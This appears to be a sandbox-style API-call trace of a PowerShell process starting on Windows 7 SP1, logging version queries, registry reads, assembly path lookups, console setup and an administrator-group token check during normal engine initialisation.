	[0080.042] VerQueryValueW (in: pBlock=0x298e554, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0xeedf4, puLen=0xeedf0 | out: lplpBuffer=0xeedf4*=0x298e6cc, puLen=0xeedf0) returned 1
	[0080.042] lstrlenW (lpString="Microsoft Corporation") returned 21
	[0080.042] lstrcpyW (in: lpString1=0x617f50, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation"
	[0080.042] VerQueryValueW (in: pBlock=0x298e554, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0xeedf4, puLen=0xeedf0 | out: lplpBuffer=0xeedf4*=0x298e720, puLen=0xeedf0) returned 1
	[0080.042] lstrlenW (lpString="System.Management.Automation") returned 28
	[0080.043] lstrcpyW (in: lpString1=0x617f50, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation"
	[0080.043] VerQueryValueW (in: pBlock=0x298e554, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0xeedf4, puLen=0xeedf0 | out: lplpBuffer=0xeedf4*=0x298e77c, puLen=0xeedf0) returned 1
	[0080.043] lstrlenW (lpString="6.1.7601.17514") returned 14
	[0080.043] lstrcpyW (in: lpString1=0x617f50, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514"
	[0080.043] VerQueryValueW (in: pBlock=0x298e554, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0xeedf4, puLen=0xeedf0 | out: lplpBuffer=0xeedf4*=0x298e7bc, puLen=0xeedf0) returned 1
	[0080.043] lstrlenW (lpString="System.Management.Automation.dll") returned 32
	[0080.043] lstrcpyW (in: lpString1=0x617f50, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll"
	[0080.043] VerQueryValueW (in: pBlock=0x298e554, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0xeedf4, puLen=0xeedf0 | out: lplpBuffer=0xeedf4*=0x298e824, puLen=0xeedf0) returned 1
	[0080.043] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57
	[0080.043] lstrcpyW (in: lpString1=0x617f50, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved."
	[0080.043] VerQueryValueW (in: pBlock=0x298e554, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0xeedf4, puLen=0xeedf0 | out: lplpBuffer=0xeedf4*=0x298e8c0, puLen=0xeedf0) returned 1
	[0080.043] lstrlenW (lpString="System.Management.Automation.dll") returned 32
	[0080.043] lstrcpyW (in: lpString1=0x617f50, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll"
	[0080.043] VerQueryValueW (in: pBlock=0x298e554, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0xeedf4, puLen=0xeedf0 | out: lplpBuffer=0xeedf4*=0x298e924, puLen=0xeedf0) returned 1
	[0080.043] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42
	[0080.044] lstrcpyW (in: lpString1=0x617f50, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System"
	[0080.044] VerQueryValueW (in: pBlock=0x298e554, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0xeedf4, puLen=0xeedf0 | out: lplpBuffer=0xeedf4*=0x298e9a0, puLen=0xeedf0) returned 1
	[0080.044] lstrlenW (lpString="6.1.7601.17514") returned 14
	[0080.044] lstrcpyW (in: lpString1=0x617f50, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514"
	[0080.044] VerQueryValueW (in: pBlock=0x298e554, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0xeedf4, puLen=0xeedf0 | out: lplpBuffer=0xeedf4*=0x298e648, puLen=0xeedf0) returned 1
	[0080.044] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49
	[0080.044] lstrcpyW (in: lpString1=0x617f50, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly"
	[0080.044] VerQueryValueW (in: pBlock=0x298e554, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0xeedf4, puLen=0xeedf0 | out: lplpBuffer=0xeedf4*=0x0, puLen=0xeedf0) returned 0
	[0080.044] VerQueryValueW (in: pBlock=0x298e554, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0xeedf4, puLen=0xeedf0 | out: lplpBuffer=0xeedf4*=0x0, puLen=0xeedf0) returned 0
	[0080.044] VerQueryValueW (in: pBlock=0x298e554, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0xeedf4, puLen=0xeedf0 | out: lplpBuffer=0xeedf4*=0x0, puLen=0xeedf0) returned 0
	[0080.044] VerQueryValueW (in: pBlock=0x298e554, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xeede8, puLen=0xeede4 | out: lplpBuffer=0xeede8*=0x298e5f0, puLen=0xeede4) returned 1
	[0080.044] VerLanguageNameW (in: wLang=0x0, szLang=0x617f50, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10
	[0080.044] VerQueryValueW (in: pBlock=0x298e554, lpSubBlock="\\", lplpBuffer=0xeedfc, puLen=0xeedf8 | out: lplpBuffer=0xeedfc*=0x298e57c, puLen=0xeedf8) returned 1
	[0080.050] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0080.050] GetLastError () returned 0xcb
	[0080.061] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0080.061] GetLastError () returned 0xcb
	[0080.065] lstrlenW (lpString="䅁") returned 1
	[0080.067] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xeedc0 | out: phkResult=0xeedc0*=0x308) returned 0x0
	[0080.068] RegOpenKeyExW (in: hKey=0x308, lpSubKey="1", ulOptions=0x0, samDesired=0x20019, phkResult=0xeedc4 | out: phkResult=0xeedc4*=0x30c) returned 0x0
	[0080.068] RegOpenKeyExW (in: hKey=0x30c, lpSubKey="PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xeedf8 | out: phkResult=0xeedf8*=0x310) returned 0x0
	[0080.070] RegQueryValueExW (in: hKey=0x310, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xeee38, lpData=0x0, lpcbData=0xeee34*=0x0 | out: lpType=0xeee38*=0x1, lpData=0x0, lpcbData=0xeee34*=0x56) returned 0x0
	[0080.072] RegQueryValueExW (in: hKey=0x310, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xeee38, lpData=0x617f50, lpcbData=0xeee34*=0x56 | out: lpType=0xeee38*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0xeee34*=0x56) returned 0x0
	[0080.075] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0080.075] GetLastError () returned 0x0
	[0080.077] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0080.077] GetLastError () returned 0x0
	[0080.092] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0080.092] GetLastError () returned 0x0
	[0080.203] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0080.203] GetLastError () returned 0xcb
	[0080.586] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0xee900, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e
	[0080.586] GetLastError () returned 0x2
	[0080.586] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0xee900, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e
	[0080.586] GetLastError () returned 0x2
	[0080.700] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0080.700] GetLastError () returned 0xcb
	[0080.701] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0080.701] GetLastError () returned 0xcb
	[0080.730] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0080.730] GetLastError () returned 0xcb
	[0080.731] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0080.731] GetLastError () returned 0xcb
	[0080.731] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0080.731] GetLastError () returned 0xcb
	[0080.873] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0xee900, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70
	[0080.873] GetLastError () returned 0x0
	[0080.874] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0xee900, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70
	[0080.874] GetLastError () returned 0x0
	[0080.896] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0080.896] GetLastError () returned 0xcb
	[0080.897] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0080.898] GetLastError () returned 0xcb
	[0080.941] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee900, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0080.941] GetLastError () returned 0x7e
	[0080.941] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee900, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0080.941] GetLastError () returned 0x7e
	[0081.370] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0xee900, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86
	[0081.370] GetLastError () returned 0x2
	[0081.370] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0xee900, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86
	[0081.370] GetLastError () returned 0x2
	[0081.438] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xee900, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0081.438] GetLastError () returned 0x57
	[0081.438] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xee900, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0081.438] GetLastError () returned 0x57
	[0081.585] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0xee900, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c
	[0081.585] GetLastError () returned 0x2
	[0081.585] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0xee900, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c
	[0081.585] GetLastError () returned 0x2
	[0081.669] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0xee900, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76
	[0081.669] GetLastError () returned 0x2
	[0081.669] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0xee900, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76
	[0081.669] GetLastError () returned 0x2
	[0081.751] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0081.751] GetLastError () returned 0xcb
	[0081.751] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xee9c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0081.751] GetLastError () returned 0xcb
	[0081.752] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xee978, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0081.752] GetLastError () returned 0xcb
	[0081.752] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xee978, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0081.752] GetLastError () returned 0xcb
	[0081.787] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xee978, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0081.787] GetLastError () returned 0xcb
	[0081.897] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0xee90c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c
	[0081.897] GetLastError () returned 0x2
	[0081.897] SetErrorMode (uMode=0x1) returned 0x1
	[0081.898] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0xeedb4 | out: lpFileInformation=0xeedb4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0081.898] GetLastError () returned 0x2
	[0081.898] SetErrorMode (uMode=0x1) returned 0x1
	[0082.042] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xee9c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0082.042] GetLastError () returned 0x0
	[0082.042] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xee978, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0082.042] GetLastError () returned 0x0
	[0082.043] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xee978, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0082.043] GetLastError () returned 0x0
	[0082.045] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0082.045] GetLastError () returned 0xcb
	[0082.057] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0082.057] GetLastError () returned 0xcb
	[0082.058] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0082.058] GetLastError () returned 0xcb
	[0082.060] CoCreateGuid (in: pguid=0xeee94 | out: pguid=0xeee94*(Data1=0xa4ca9822, Data2=0x615b, Data3=0x4fb7, Data4=([0]=0xb8, [1]=0x9a, [2]=0x2, [3]=0x5d, [4]=0x13, [5]=0x64, [6]=0x60, [7]=0xfb))) returned 0x0
	[0082.063] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0082.063] GetLastError () returned 0xcb
	[0082.065] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0082.065] GetLastError () returned 0xcb
	[0082.066] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0082.066] GetLastError () returned 0xcb
	[0082.074] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf
	[0082.083] GetLastError () returned 0x0
	[0082.085] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0xeed74 | out: lpConsoleScreenBufferInfo=0xeed74) returned 1
	[0082.085] GetLastError () returned 0x0
	[0082.089] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13
	[0082.089] GetLastError () returned 0x0
	[0082.089] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0xeed74 | out: lpConsoleScreenBufferInfo=0xeed74) returned 1
	[0082.090] GetLastError () returned 0x0
	[0082.090] GetVersionExW (in: lpVersionInformation=0x617f68*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x617f68*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0082.090] GetLastError () returned 0x0
	[0082.091] GetCurrentProcess () returned 0xffffffff
	[0082.091] GetLastError () returned 0x3f0
	[0082.092] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0xeed84 | out: TokenHandle=0xeed84*=0x32c) returned 1
	[0082.092] GetLastError () returned 0x3f0
	[0082.093] GetTokenInformation (in: TokenHandle=0x32c, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xeeddc | out: TokenInformation=0x0, ReturnLength=0xeeddc) returned 0
	[0082.093] GetLastError () returned 0x7a
	[0082.094] GetTokenInformation (in: TokenHandle=0x32c, TokenInformationClass=0x8, TokenInformation=0x5d50e8, TokenInformationLength=0x4, ReturnLength=0xeeddc | out: TokenInformation=0x5d50e8, ReturnLength=0xeeddc) returned 1
	[0082.094] GetLastError () returned 0x7a
	[0082.095] DuplicateTokenEx (in: hExistingToken=0x32c, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0xeed94 | out: phNewToken=0xeed94*=0x324) returned 1
	[0082.095] GetLastError () returned 0x7f
	[0082.095] GetTokenInformation (in: TokenHandle=0x32c, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xeeddc | out: TokenInformation=0x0, ReturnLength=0xeeddc) returned 0
	[0082.095] GetLastError () returned 0x7a
	[0082.095] GetTokenInformation (in: TokenHandle=0x32c, TokenInformationClass=0x8, TokenInformation=0x5d50b8, TokenInformationLength=0x4, ReturnLength=0xeeddc | out: TokenInformation=0x5d50b8, ReturnLength=0xeeddc) returned 1
	[0082.095] GetLastError () returned 0x7a
	[0082.096] CheckTokenMembership (in: TokenHandle=0x324, SidToCheck=0x2a113c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0xeed70 | out: IsMember=0xeed70) returned 1
	[0082.096] GetLastError () returned 0x7a
	[0082.096] CloseHandle (hObject=0x324) returned 1
	[0082.096] GetLastError () returned 0x7a
	[0082.096] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xee8b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0082.096] GetLastError () returned 0x7a
	[0082.096] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xee864, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
